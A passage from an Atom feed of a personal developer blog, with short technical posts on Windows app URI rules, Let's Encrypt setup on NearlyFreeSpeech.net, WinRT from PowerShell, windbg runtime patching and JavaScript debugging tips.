    Asterisk
  &lt;/h2&gt;&lt;p&gt;
    Each component except the port may have up to 8 asterisks. Two asterisks in a row counts as an escape and will match 1 literal asterisk. For scheme, username, password, query and fragment the
    asterisk matches whatever it can within the component.
  &lt;/p&gt;&lt;h2&gt;
    Host
  &lt;/h2&gt;&lt;p&gt;
    For the host, if the host consists of exactly one single asterisk then it matches anything. Otherwise an asterisk in a host only matches within its domain name label. For example,
    http://*.example.com will match http://a.example.com/ but not http://b.a.example.com/ or http://example.com/. And http://*/ will match http://example.com, http://a.example.com/, and
    http://b.a.example.com/. However the Store places restrictions on submitting apps that use the http://* rule or rules with an asterisk in the second effective domain name label. For example,
    http://*.com is also restricted for Store submission.
  &lt;/p&gt;&lt;h2&gt;
    Path
  &lt;/h2&gt;&lt;p&gt;
    For the path, an asterisk matches within the path segment. For example, http://example.com/a/*/c will match http://example.com/a/b/c and http://example.com/a//c but not http://example.com/a/b/b/c
    or http://example.com/a/c
  &lt;/p&gt;&lt;p&gt;
    Additionally for the path, if the path ends with a slash then it matches any path that starts with that same path. For example, http://example.com/a/ will match http://example.com/a/b and
    http://example.com/a/b/c/d/e/, but not http://example.com/b/.
  &lt;/p&gt;&lt;p&gt;
    If the path doesn’t end with a slash then there is no suffix matching performed. For example, http://example.com/a will match only http://example.com/a and no URIs with a different path.
  &lt;/p&gt;&lt;p&gt;
    As a part of parsing the rule URI and the navigation URI, CreateUri will perform URI normalization and so the hostname and scheme will be made lower case (casing matters in all other parts of the
    URI and case sensitive comparisons will be performed), IDN normalization will be performed, ‘.’ and ‘..’ path segments will be resolved and other normalizations as described in the CreateUri
    documentation.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Let&#39;s Encrypt NearlyFreeSpeech.net Update</title>
		<link href="https://deletethis.net/dave/2016-11/Let-s+Encrypt+NearlyFreeSpeech.net+Update/"/>
		<updated>2016-11-05T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-11/Let-s+Encrypt+NearlyFreeSpeech.net+Update/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Since I had last &lt;a href=&quot;https://deletethis.net/dave/2016-02/Let%27s+Encrypt+NearlyFreeSpeech.net+Setup&quot;&gt;posted about using Let&#39;s Encrypt with NearlyFreeSpeech&lt;/a&gt;, NFS has changed their process
    for setting TLS info. Instead of putting the various files in /home/protected/ssl and submitting an assistance request, now there is a command to submit the certificate info and a webpage for
    submitting the certificate info.
  &lt;/p&gt;&lt;p&gt;
    The webpage is &lt;code&gt;https://members.nearlyfreespeech.net/{username}/sites/{sitename}/add_tls&lt;/code&gt; and has a textbox for you to paste in all the cert info in PEM form into the textbox. The
    domain key, the domain certificate, and the Let&#39;s Encrypt intermediate cert must be pasted into the textbox and submitted.
  &lt;/p&gt;&lt;p&gt;
    Alternatively, that same info may be provided as standard input to &lt;code&gt;nfsn -i set-tls&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
    To renew my certificate with the updated NFS process I followed the commands from &lt;a href=&quot;https://twitter.com/tehnicaorg&quot;&gt;Andrei Damian-Fekete&lt;/a&gt;&#39;s script which depends on &lt;a href=&quot;https://github.com/diafygi/acme-tiny&quot;&gt;acme_tiny.py&lt;/a&gt;:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;python acme_tiny.py --account-key account.key --csr domain.csr --acme-dir /home/public/.well-known/acme-challenge/ &amp;gt; signed.crt&lt;br&gt;wget -O - https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem &amp;gt; intermediate.pem&lt;br&gt;cat domain.key signed.crt intermediate.pem &amp;gt; chained.pem&lt;br&gt;nfsn -i set-tls &amp;lt; chained.pem&lt;/code&gt;&lt;/pre&gt;Because
  my certificate had already expired I needed to comment out the section in acme_tiny.py that validates the challenge file. The filenames in the above map to the following:
  &lt;ul&gt;&lt;li&gt;signed.crt is the Let&#39;s Encrypt provided certificate
    &lt;/li&gt;&lt;li&gt;account.key is the user private key registered with LE
    &lt;/li&gt;&lt;li&gt;domain.csr is the cert request
    &lt;/li&gt;&lt;li&gt;domain.key is the key for the domain cert
    &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Parsing WinMD with .NET reflection APIs</title>
		<link href="https://deletethis.net/dave/2016-11/Parsing+WinMD+with+.NET+reflection+APIs/"/>
		<updated>2016-11-02T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-11/Parsing+WinMD+with+.NET+reflection+APIs/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Parsing WinMD files, the containers of WinRT API metadata, is relatively simple using the appropriate .NET reflection APIs. However, figuring out which reflection APIs to use is not obvious. I&#39;ve
    got a completed &lt;a href=&quot;https://github.com/david-risney/WinMDGraph/blob/master/WinMDTypes.cs&quot;&gt;C sharp class parsing WinMD files&lt;/a&gt; that you can check out for reference.
  &lt;/p&gt;&lt;p&gt;
    Use &lt;code&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.reflection.assembly.reflectiononlyload(v=vs.110).aspx&quot;&gt;System.Reflection.Assembly.ReflectionOnlyLoad&lt;/a&gt;&lt;/code&gt; to load the
    WinMD file. Don&#39;t use the normal load methods because the WinMD files contain only metadata. This will load up info about APIs defined in that WinMD, but any references to types outside of that
    WinMD including types found in the normal OS system WinMD files must be resolved by the app code via the &lt;code&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.runtime.interopservices.windowsruntime.windowsruntimemetadata.reflectiononlynamespaceresolve(v=vs.110).aspx&quot;&gt;System.Reflection.InteropServices.WindowsRuntimeMetadata.ReflectionOnlyNamespaceResolve&lt;/a&gt;&lt;/code&gt;
    event.
  &lt;/p&gt;&lt;p&gt;
    In this event handler you must resolve the unknown namespace reference by adding an assembly to the NamespaceResolveEventArgs&#39;s ResolvedAssemblies property. If you&#39;re only interested in OS system
    WinMD files you can use &lt;code&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/hh138431(v=vs.110).aspx&quot;&gt;System.Reflection.InteropServices.WindowsRuntimeMetadata.ResolveNamespace&lt;/a&gt;&lt;/code&gt; to
    turn a namespace into the expected OS system WinMD path and turn that path into an assembly with ReflectionOnlyLoad.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>WPAD Server Fiddler Extension Source</title>
		<link href="https://deletethis.net/dave/2016-08/WPAD+Server+Fiddler+Extension+Source/"/>
		<updated>2016-08-05T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-08/WPAD+Server+Fiddler+Extension+Source/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve put my &lt;a href=&quot;https://github.com/david-risney/WpadServerFiddlerExtension&quot;&gt;WPAD Fiddler extension source&lt;/a&gt; and the &lt;a href=&quot;https://github.com/david-risney/WpadServerFiddlerExtension/releases&quot;&gt;installer&lt;/a&gt; on GitHub.
  &lt;/p&gt;&lt;p&gt;
    Six years ago I made a WPAD DHCP server Fiddler extension (described &lt;a href=&quot;https://deletethis.net/dave/2010-01/WPAD+Server+Fiddler+Extension&quot;&gt;previously&lt;/a&gt; and &lt;a href=&quot;https://deletethis.net/dave/2011-06/WPAD+Server+Fiddler+Extension+Update+v1.0.1&quot;&gt;previously&lt;/a&gt;). The extension runs a WPAD DHCP server telling any clients that connect to connect to the running
    Fiddler instance. I&#39;ve finally got around to putting the source on GitHub. I haven&#39;t touched it in five or so years so this is either for posterity or education or something.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Data breakpoints in JavaScript</title>
		<link href="https://deletethis.net/dave/2016-06/Data+breakpoints+in+JavaScript/"/>
		<updated>2016-06-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-06/Data+breakpoints+in+JavaScript/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The other day I had to debug a JavaScript UWA that was failing when trying to use an undefined property. In a previous OS build this code would run and the property was defined. I wanted
    something similar to windbg/cdb&#39;s ba command that lets me set a breakpoint on read or writes to a memory location so I could see what was creating the object in the previous OS build and what
    that code was doing now in the current OS build. I couldn&#39;t find such a breakpoint mechanism in Visual Studio or F12 so I wrote a little script to approximate &lt;a href=&quot;https://gist.github.com/david-risney/af6f7912ea171b9076d3ba3ebd54a355&quot;&gt;JavaScript data breakpoints&lt;/a&gt;.
  &lt;/p&gt;&lt;script src=&quot;https://gist.github.com/david-risney/af6f7912ea171b9076d3ba3ebd54a355.js&quot;&gt;&lt;/script&gt;&lt;p&gt;
    The script creates a stub object with a getter and setter. It actually performs the get or set but also calls debugger; to break in the debugger. In order to handle my case of needing to break
    when window.object1.object2 was created or accessed, I further had it recursively set up such stub objects for the matching property names.
  &lt;/p&gt;&lt;p&gt;
    Its not perfect because it is an enumerable property and shows up in hasOwnProperty and likely other places. But for your average code that checks for the existence of a property via if
    (object.property) it works well.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>WinRT Toast from PowerShell</title>
		<link href="https://deletethis.net/dave/2016-06/WinRT+Toast+from+PowerShell/"/>
		<updated>2016-06-15T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-06/WinRT+Toast+from+PowerShell/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve made a &lt;a href=&quot;https://github.com/david-risney/PoshWinRT/blob/master/Show-Toast.ps1&quot;&gt;PowerShell script to show system toast notifications&lt;/a&gt; with WinRT and PowerShell. Along the way I
    learned several interesting things.
  &lt;/p&gt;&lt;p&gt;
    First off calling WinRT from PowerShell involves a strange syntax. If you want to use a class you write [-Class-,-Namespace-,ContentType=WindowsRuntime] first to tell PowerShell about the type.
    For example here I create a ToastNotification object:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;[void][Windows.UI.Notifications.ToastNotification,Windows.UI.Notifications,ContentType=WindowsRuntime];&lt;br&gt;$toast = New-Object Windows.UI.Notifications.ToastNotification -ArgumentList $xml;&lt;/code&gt;&lt;/pre&gt;And
  here I call the static method CreateToastNotifier on the ToastNotificationManager class:
  &lt;pre&gt;&lt;code&gt;[void][Windows.UI.Notifications.ToastNotificationManager,Windows.UI.Notifications,ContentType=WindowsRuntime];&lt;br&gt;$notifier = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier($AppUserModelId);&lt;/code&gt;&lt;/pre&gt;With
  this I can call WinRT methods and this is enough to show a toast but to handle the click requires a little more work.
  &lt;p&gt;
    To handle the user clicking on the toast I need to listen to the Activated event on the Toast object. However Register-ObjectEvent doesn&#39;t handle WinRT events. To work around this I created a
    &lt;a href=&quot;https://github.com/david-risney/PoshWinRT/blob/master/PoshWinRT/EventWrapper.cs&quot;&gt;.NET event wrapper class&lt;/a&gt; to turn the WinRT event into a .NET event that Register-ObjectEvent can
    handle. This is based on &lt;a href=&quot;https://rkeithhill.wordpress.com/2013/09/30/calling-winrt-async-methods-from-windows-powershell/&quot;&gt;Keith Hill&#39;s blog post on calling WinRT async methods in
    PowerShell&lt;/a&gt;. With the event wrapper class I can run the following to subscribe to the event:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;function WrapToastEvent {&lt;br&gt;    param($target, $eventName);&lt;br&gt;&lt;br&gt;    Add-Type -Path (Join-Path $myPath &quot;PoshWinRT.dll&quot;)&lt;br&gt;    $wrapper = new-object &quot;PoshWinRT.EventWrapper[Windows.UI.Notifications.ToastNotification,System.Object]&quot;;&lt;br&gt;    $wrapper.Register($target, $eventName);&lt;br&gt;}&lt;br&gt;&lt;br&gt;[void](Register-ObjectEvent -InputObject (WrapToastEvent $toast &quot;Activated&quot;) -EventName FireEvent -Action { &lt;br&gt;    ...&lt;br&gt;});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    To handle the Activated event I want to put focus back on the PowerShell window that created the toast. To do this I need to call the Win32 function SetForegroundWindow. Doing so from PowerShell
    is surprisingly easy. First you must tell PowerShell about the function:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;Add-Type @&quot;&lt;br&gt;    using System;&lt;br&gt;    using System.Runtime.InteropServices;&lt;br&gt;    public class PInvoke {&lt;br&gt;        [DllImport(&quot;user32.dll&quot;)] [return: MarshalAs(UnmanagedType.Bool)]&lt;br&gt;        public static extern bool SetForegroundWindow(IntPtr hwnd);&lt;br&gt;    }&lt;br&gt;&quot;@&lt;/code&gt;&lt;/pre&gt;Then
  to call:
  &lt;pre&gt;&lt;code&gt;[PInvoke]::SetForegroundWindow((Get-Process -id $myWindowPid).MainWindowHandle);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    But figuring out the HWND to give to SetForegroundWindow isn&#39;t totally straight forward. Get-Process exposes a MainWindowHandle property but if you start a cmd.exe prompt and then run PowerShell
    inside of that, the PowerShell process has 0 for its MainWindowHandle property. We must follow up process parents until we find one with a MainWindowHandle:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$myWindowPid = $pid;&lt;br&gt;while ($myWindowPid -gt 0 -and (Get-Process -id $myWindowPid).MainWindowHandle -eq 0) {&lt;br&gt;    $myWindowPid = (gwmi Win32_Process -filter &quot;processid = $($myWindowPid)&quot; | select ParentProcessId).ParentProcessId;&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Windows Store App WebView Cross Origin XMLHttpRequest Behavior</title>
		<link href="https://deletethis.net/dave/2016-06/Windows+Store+App+WebView+Cross+Origin+XMLHttpRequest+Behavior/"/>
		<updated>2016-06-02T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-06/Windows+Store+App+WebView+Cross+Origin+XMLHttpRequest+Behavior/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    TL;DR: Web content in a JavaScript Windows Store app or WebView in a Windows Store app that has full access to WinRT also gets to use XHR unrestricted by cross origin checks.
  &lt;/p&gt;&lt;p&gt;
    By default web content in a WebView control in a Windows Store App has the same sort of limitations as that web content in a web browser. However, if you give the URI of that web content full
    access to WinRT, then the web content also gains the ability to use XMLHttpRequest unrestricted by cross origin checks. This means no CORS checks and no OPTIONS requests. This only works if the
    web content&#39;s URI matches a Rule in the ApplicationContentUriRules of your app&#39;s manifest and that Rule declares WindowsRuntimeAccess=&quot;all&quot;. If it declares WinRT access as &#39;None&#39; or
    &#39;AllowForWebOnly&#39; then XHR acts as it normally does.
  &lt;/p&gt;&lt;p&gt;
    In terms of security, if you&#39;ve already given a page access to all of WinRT which includes the HttpRequest class and other networking classes that don&#39;t perform cross origin checks, then allowing
    XHR to skip CORS doesn&#39;t make things worse.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>WinRT Launcher API in PowerShell</title>
		<link href="https://deletethis.net/dave/2016-03/WinRT+Launcher+API+in+PowerShell/"/>
		<updated>2016-03-31T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-03/WinRT+Launcher+API+in+PowerShell/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  You can call WinRT APIs from PowerShell. Here&#39;s a short example using the WinRT Launcher API:
  &lt;pre&gt;&lt;code&gt;[Windows.System.Launcher,Windows.System,ContentType=WindowsRuntime]&lt;br&gt;$uri = New-Object System.Uri &quot;http://example.com/&quot;&lt;br&gt;[Windows.System.Launcher]::LaunchUriAsync($uri)&lt;/code&gt;&lt;/pre&gt;Note
  that like using WinRT in .NET, you use the System.Uri .NET class instead of the Windows.Foundation.Uri WinRT class which is not projected and under the covers the system will convert the System.Uri
  to a Windows.Foundation.Uri.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Cdb/Windbg Commands for Runtime Patching</title>
		<link href="https://deletethis.net/dave/2016-02/Cdb-Windbg+Commands+for+Runtime+Patching/"/>
		<updated>2016-02-08T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-02/Cdb-Windbg+Commands+for+Runtime+Patching/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    You can use conditional breakpoints and debugging commands in windbg and cdb that together can amount to effectively patching a binary at runtime. This can be useful if you have symbols but you
    can&#39;t easily rebuild the binary. Or if the patch is small and the binary requires a great deal of time to rebuild.
  &lt;/p&gt;&lt;h2&gt;
    Skipping code
  &lt;/h2&gt;&lt;p&gt;
    If you want to skip a chunk of code you can set a breakpoint at the start address of the code to skip and set the breakpoint&#39;s command to change the instruction pointer register to point to the
    address at the end of the code to skip and go. Voila you&#39;re skipping over that code now. For example:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;bp 0x6dd6879b &quot;r @eip=0x6dd687c3 ; g&quot;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;
    Changing parameters
  &lt;/h2&gt;&lt;p&gt;
    You may want to modify parameters or variables and this is simple of course. In the following example a conditional breakpoint ANDs out a bit from dwFlags. Now when we run its as if no one is
    passing in that flag.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;bp wiwi!RelativeCrack &quot;?? dwFlags &amp;amp;= 0xFDFFFFFF;g&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Slightly more difficult is to modify string values. If the new string length is the same size or smaller than the previous, you may be able to modify the string value in place. But if the string
    is longer or the string memory isn&#39;t writable, you&#39;ll need a new chunk of memory into which to write your new string. You can use .dvalloc to allocate some memory and ezu to write a string into
    the newly allocated memory. In the following example I then overwrite the register containing the parameter I want to modify:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;.dvalloc 100&lt;br&gt;ezu 000002a9`d4eb0000 &quot;mfcore.dll&quot;&lt;br&gt;r rcx = 000002a9`d4eb0000&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;
    Calling functions
  &lt;/h2&gt;&lt;p&gt;
    You can also use .call to actually make new calls to methods or functions. Read more about that on the Old New Thing: &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20070427-00/?p=27083/&quot;&gt;Stupid debugger tricks: Calling functions and methods&lt;/a&gt;. Again, all of this can be used in a breakpoint command to
    effectively patch a binary.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Let&#39;s Encrypt NearlyFreeSpeech.net Setup</title>
		<link href="https://deletethis.net/dave/2016-02/Let-s+Encrypt+NearlyFreeSpeech.net+Setup/"/>
		<updated>2016-02-04T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-02/Let-s+Encrypt+NearlyFreeSpeech.net+Setup/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    2016-Nov-5: &lt;a href=&quot;https://deletethis.net/dave/2016-11/Let%27s+Encrypt+NearlyFreeSpeech.net+Update&quot;&gt;Updated post&lt;/a&gt; on using Let&#39;s Encrypt with NearlyFreeSpeech.net
  &lt;/p&gt;&lt;p&gt;
    I use NearlyFreeSpeech.net for my webhosting for my personal website and I&#39;ve just finished setting up TLS via Let&#39;s Encrypt. The process was slightly more complicated than what you&#39;d like from
    Let&#39;s Encrypt. So for those interested in doing the same on NearlyFreeSpeech.net, I&#39;ve taken the following notes.
  &lt;/p&gt;&lt;p&gt;
    The standard Let&#39;s Encrypt client requires su/sudo access which is not available on NearlyFreeSpeech.net&#39;s servers. Additionally NFSN&#39;s webserver doesn&#39;t have any Let&#39;s Encrypt plugins installed.
    So I used the &lt;a href=&quot;https://github.com/diafygi/letsencrypt-nosudo&quot;&gt;Let&#39;s Encrypt Without Sudo client&lt;/a&gt;. I followed the instructions listed on the tool&#39;s page with the addition of providing
    the &quot;--file-based&quot; parameter to sign_csr.py.
  &lt;/p&gt;&lt;p&gt;
    One thing the script doesn&#39;t produce is the chain file. But this topic &quot;&lt;a href=&quot;https://members.nearlyfreespeech.net/forums/viewtopic.php?t=8457&quot;&gt;Let&#39;s Encrypt - Quick HOWTO for NSFN&lt;/a&gt;&quot; covers
    how to obtain that:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;curl -o domain.chn https://letsencrypt.org/certs/lets-encrypt-x1-cross-signed.pem&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Now that you have all the required files, on your NFSN server make the directory /home/protected/ssl and copy your files into it. This is described in the NFSN topic &lt;a href=&quot;https://members.nearlyfreespeech.net/faq?q=TLSSetup#TLSSetup&quot;&gt;provide certificates to NFSN&lt;/a&gt;. After copying the files and setting their permissions as described in the previous link you submit
    an assistance request. For me it was only 15 minutes later that everything was setup.
  &lt;/p&gt;&lt;p&gt;
    After enabling HTTPS I wanted to have all HTTP requests redirect to HTTPS. The normal Apache documentation on how to do this doesn&#39;t work on NFSN servers. Instead the NFSN FAQ describes it in
    &quot;&lt;a href=&quot;https://members.nearlyfreespeech.net/faq?q=EnforceSSL#EnforceSSL&quot;&gt;redirect http to https and HSTS&lt;/a&gt;&quot;. You use the X-Forwarded-Proto instead of the HTTPS variable because of how NFSN&#39;s
    virtual hosting is setup.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;RewriteEngine on&lt;br&gt;RewriteCond %{HTTP:X-Forwarded-Proto} !https&lt;br&gt;RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [L,R=301]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Turning on HSTS is as simple as adding the HSTS HTTP header. However, the description in the above link didn&#39;t work because my site&#39;s NFSN realm isn&#39;t on the latest Apache yet. Instead I added
    the following to my .htaccess. After I&#39;m comfortable with everything working well for a few days I&#39;ll start turning up the max-age to the recommended minimum value of 180 days.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;Header set Strict-Transport-Security &quot;max-age=3600;&quot; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Finally, to turn on CSP I started up Fiddler with my &lt;a href=&quot;https://github.com/david-risney/CSP-Fiddler-Extension&quot;&gt;CSP Fiddler extension&lt;/a&gt;. It allows me to determine the most restrictive CSP
    rules I could apply and still have all resources on my page load. From there I found and removed inline script and some content loaded via http and otherwise continued tweaking my site and CSP
    rules.
  &lt;/p&gt;&lt;p&gt;
    After I was done I checked out my site on &lt;a href=&quot;https://www.ssllabs.com/ssltest/&quot;&gt;SSL Lab&#39;s SSL Test&lt;/a&gt; to see what I might have done wrong or needed improving. The first time I went through
    these steps I hadn&#39;t included the chain file which the SSL Test told me about. I was able to add that file to the same files I had already previously generated from the Let&#39;s Encrypt client and
    do another NFSN assistance request and 15 minutes later the SSL Test had upgraded me from &#39;B&#39; to &#39;A&#39;.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Unicode Clock</title>
		<link href="https://deletethis.net/dave/2016-01/Unicode+Clock/"/>
		<updated>2016-01-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-01/Unicode+Clock/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve made a &lt;a href=&quot;http://david-risney.github.io/UnicodeClock/&quot;&gt;Unicode Clock in JavaScript&lt;/a&gt;.
  &lt;/p&gt;&lt;p&gt;
    Unicode has code points for all 30 minute increments of clock faces. This is a simple project to display the one closest to the current time written in JavaScript.
  &lt;/p&gt;&lt;p&gt;
    Because the code points are all above 0xFFFF, I make use of some ES6 additions. I use the &#92;u{XXXXXX} style escape sequence since the old style JavaScript escape sequence &#92;uXXXX only supports code
    points up to 0xFFFF. I also use the method String.codePointAt rather than String.charCodeAt because the code points larger than 0xFFFF are represented in JavaScript strings using surrogate pairs
    and charCodeAt gives the surrogate value rather than codePointAt which gives the code point represented by the pair of surrogates.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&quot;🕛&quot;.codePointAt(0)&lt;br&gt;128347&lt;br&gt;&quot;🕛&quot;.charCodeAt(0)&lt;br&gt;55357&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    🕐🕑🕒🕓🕔🕕🕖🕗🕘🕙🕚🕛🕜🕝🕞🕟🕠🕡🕢🕣🕤🕥🕦🕧
  &lt;/p&gt;&lt;p&gt;
    The ordering of the code points does not make it simple to do this. I initially guessed the first code point in the range would be 12:00 followed by 12:30, 1:00 and so on. But actually 1:00 is
    first followed by all the on the hour times then all the half hour times.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>JavaScript Types and WinRT Types</title>
		<link href="https://deletethis.net/dave/2016-01/JavaScript+Types+and+WinRT+Types/"/>
		<updated>2016-01-21T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2016-01/JavaScript+Types+and+WinRT+Types/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Cloud Share - New App</title>
		<link href="https://deletethis.net/dave/2014-05/Cloud+Share+-+New+App/"/>
		<updated>2014-05-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2014-05/Cloud+Share+-+New+App/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve put a new app on the Windows Store: &lt;a href=&quot;http://apps.microsoft.com/windows/en-us/app/a2b392c8-a94e-44ab-b52b-dea2c6c93572&quot;&gt;Cloud Share&lt;/a&gt;. It connects the web to your Windows 8 share
    charm.
  &lt;/p&gt;&lt;p&gt;
    I did the &lt;a href=&quot;https://github.com/david-risney/WebShare&quot;&gt;development on GitHub&lt;/a&gt; and quite enjoyed myself. I wasn&#39;t sure I liked the game-ification of development in GitHub&#39;s dashboard
    showing you your longest development streak in days. However I realized that it encourages me to do work on my personal project and anything that aids in holding my attention on and helping me
    finish these projects is a good thing.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>location.hash and location.search are bad and they should feel bad</title>
		<link href="https://deletethis.net/dave/2014-05/location.hash+and+location.search+are+bad+and+they+should+feel+bad/"/>
		<updated>2014-05-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2014-05/location.hash+and+location.search+are+bad+and+they+should+feel+bad/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  The &lt;a href=&quot;http://www.w3.org/html/wg/drafts/html/master/browsers.html#the-location-interface&quot;&gt;DOM location interface&lt;/a&gt; exposes the HTML document&#39;s URI parsed into its properties. However, it is
  ancient and has problems that bug me but otherwise rarely show up in the real world. Complaining about mostly theoretical issues is why blogging exists, so here goes:
  &lt;ul&gt;&lt;li&gt;The location object&#39;s search, hash, and protocol properties are all misnomers that lead to confusion about the correct terms:
      &lt;ul&gt;&lt;li&gt;The &#39;search&#39; property returns the URI&#39;s query property. The query property isn&#39;t limited to containing search terms.
        &lt;/li&gt;&lt;li&gt;The &#39;hash&#39; property returns the URI&#39;s fragment property. This one is just named after its delimiter. It should be called the fragment.
        &lt;/li&gt;&lt;li&gt;The &#39;protocol&#39; property returns the URI&#39;s scheme property. A URI&#39;s scheme isn&#39;t necessarily a protocol. The http URI scheme of course uses the HTTP protocol, but the https URI scheme is
        the HTTP protocol over SSL/TLS - there is no HTTPS protocol. Similarly for something like mailto - there is no mailto wire protocol.
        &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;The &#39;hash&#39; and &#39;search&#39; location properties both return null in the case that their corresponding URI &lt;a href=&quot;http://url.spec.whatwg.org/#dom-url-hash&quot;&gt;property doesn&#39;t exist or if its the
    empty string&lt;/a&gt;. A URI with no query property and a URI with an empty string query property that are otherwise the same, are not equal URIs and are allowed by HTTP to return different content.
    Similarly for the fragment. Unless the specific URI scheme defines otherwise, &lt;a href=&quot;http://tools.ietf.org/html/rfc3986#section-6.2.3&quot;&gt;an empty query or hash isn&#39;t the same as no query or
    hash&lt;/a&gt;.
    &lt;/li&gt;&lt;/ul&gt;But like complaining about &lt;a href=&quot;http://en.wikipedia.org/wiki/Metric_time&quot;&gt;the number of minutes in an hour&lt;/a&gt; none of this can ever change without huge compat issues on the web.
  Accordingly I can only give my thanks to Anne van Kesteren and the awesome work on the &lt;a href=&quot;http://url.spec.whatwg.org/&quot;&gt;URL standard&lt;/a&gt; moving towards a more sane (but still working
  practically within the constraints of compat) location object and URI parsing in the browser.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Debugging anecdote - the color transparent black breaks accessibility </title>
		<link href="https://deletethis.net/dave/2014-05/Debugging+anecdote+-+the+color+transparent+black+breaks+accessibility+/"/>
		<updated>2014-05-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2014-05/Debugging+anecdote+-+the+color+transparent+black+breaks+accessibility+/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
